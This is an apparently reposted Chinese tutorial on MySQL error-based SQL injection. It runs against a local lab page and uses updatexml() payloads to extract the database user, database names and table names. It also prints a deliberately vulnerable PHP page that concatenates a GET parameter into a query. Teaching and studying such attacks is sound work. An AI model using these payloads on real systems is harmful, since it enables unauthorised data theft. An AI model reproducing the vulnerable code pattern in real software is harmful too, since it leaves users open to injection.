前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Web安全原理剖析(四)——报错注入攻击[通俗易懂]

Web安全原理剖析(四)——报错注入攻击[通俗易懂]

作者头像
全栈程序员站长
发布2022-11-11 20:47:51
5050
发布2022-11-11 20:47:51
举报
文章被收录于专栏:全栈程序员必看

大家好,又见面了,我是你们的朋友全栈君。

目录

1.8 报错注入攻击

  报错注入攻击的测试地址:http://127.0.0.1/sqli/error.php?username=1。

  访问该网址时,页面返回ok,如图28所示。

Web安全原理剖析(四)——报错注入攻击[通俗易懂]
Web安全原理剖析(四)——报错注入攻击[通俗易懂]

图28 访问username=1时页面的的结果

  访问http://127.0.0.1/sqli/error.php?username=1’,因为参数username的值是1’,在数据库中执行SQL时,会因为多了一个单引号而报错,输出到页面的结果如图29所示。

Web安全原理剖析(四)——报错注入攻击[通俗易懂]
Web安全原理剖析(四)——报错注入攻击[通俗易懂]

图29 访问username=1’时页面的的结果

  通过页面返回结果可以看出,程序直接将错误信息输入到了页面上,所以此处可以利用报错注入获取数据。报错注入有多种格式,此处利用函数updatexml()延时SQL语句获取user()的值,SQL语句如下所示。

代码语言:javascript
复制
' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+

Updatexml()函数:Updatexml(xml_target,xpath_expr,new_xml)

  • xml_target:需要操作的xml片段
  • xpath_expr:需要更新的xml路径(Xpath格式)
  • new_xml:更新后的内容

  其中0x7e是ASCII编码,解码结果为~,如图30所示。

Web安全原理剖析(四)——报错注入攻击[通俗易懂]
Web安全原理剖析(四)——报错注入攻击[通俗易懂]

图30 利用updatexml获取user()

  然后尝试获取当前数据库的库名,如图31所示,语句如下所示。

代码语言:javascript
复制
' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
Web安全原理剖析(四)——报错注入攻击[通俗易懂]
Web安全原理剖析(四)——报错注入攻击[通俗易懂]

图31 利用updatexml获取database()

  接着可以利用select语句继续获取数据库中的库名、表名和字段名,查询语句与Union注入的相同。因为报错注入只显示一条结果,所以需要使用limit语句。构造的语句如下所示。

代码语言:javascript
复制
' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)--+

  结果如图32所示,以此类推,可以获取所有数据库的库名。

Web安全原理剖析(四)——报错注入攻击[通俗易懂]
Web安全原理剖析(四)——报错注入攻击[通俗易懂]

图32 利用报错注入获取数据库名

  如图33所示,构造查询表的语句,如下所示,可以获取数据库test的表名。

代码语言:javascript
复制
' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1)--+
Web安全原理剖析(四)——报错注入攻击[通俗易懂]
Web安全原理剖析(四)——报错注入攻击[通俗易懂]

图33 利用报错注入获取数据库表名


1.9 报错注入代码分析

  在报错注入页面中,程序获取GET参数username后,将username拼接到SQL语句中,然后到数据库查询。如果执行成功,技术处ok;如果出错,则通过echo mysqli_error(@&con)将错误信息输出到页面(mysqli_error返回上一个MySQL函数的错误),代码如下所示。

代码语言:javascript
复制
<?php
$con=mysqli_connect("localhost","root","root","test");
// 检测连接
if (mysqli_connect_errno())
{ 

echo "连接失败: " . mysqli_connect_error();
}
$username = @$_GET['username'];
$sql = "select * from users where `username`='".$username."'";
if($result = mysqli_query($con,$sql))
{ 

echo "ok";
}
else
{ 

echo mysqli_error($con);
}
?>

  输入username=1’时,SQL语句为select *from users where `username`=‘1’。执行时,会因为多了一个单引号而报错。利用这种错误回显,我们可以通过floor()、updatexml()等函数将要查询的内容输出到页面上。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/187611.html原文链接:https://javaforall.cn

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2022年9月30日 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 目录
  • 1.8 报错注入攻击
  • 1.9 报错注入代码分析
相关产品与服务
云数据库 SQL Server
腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档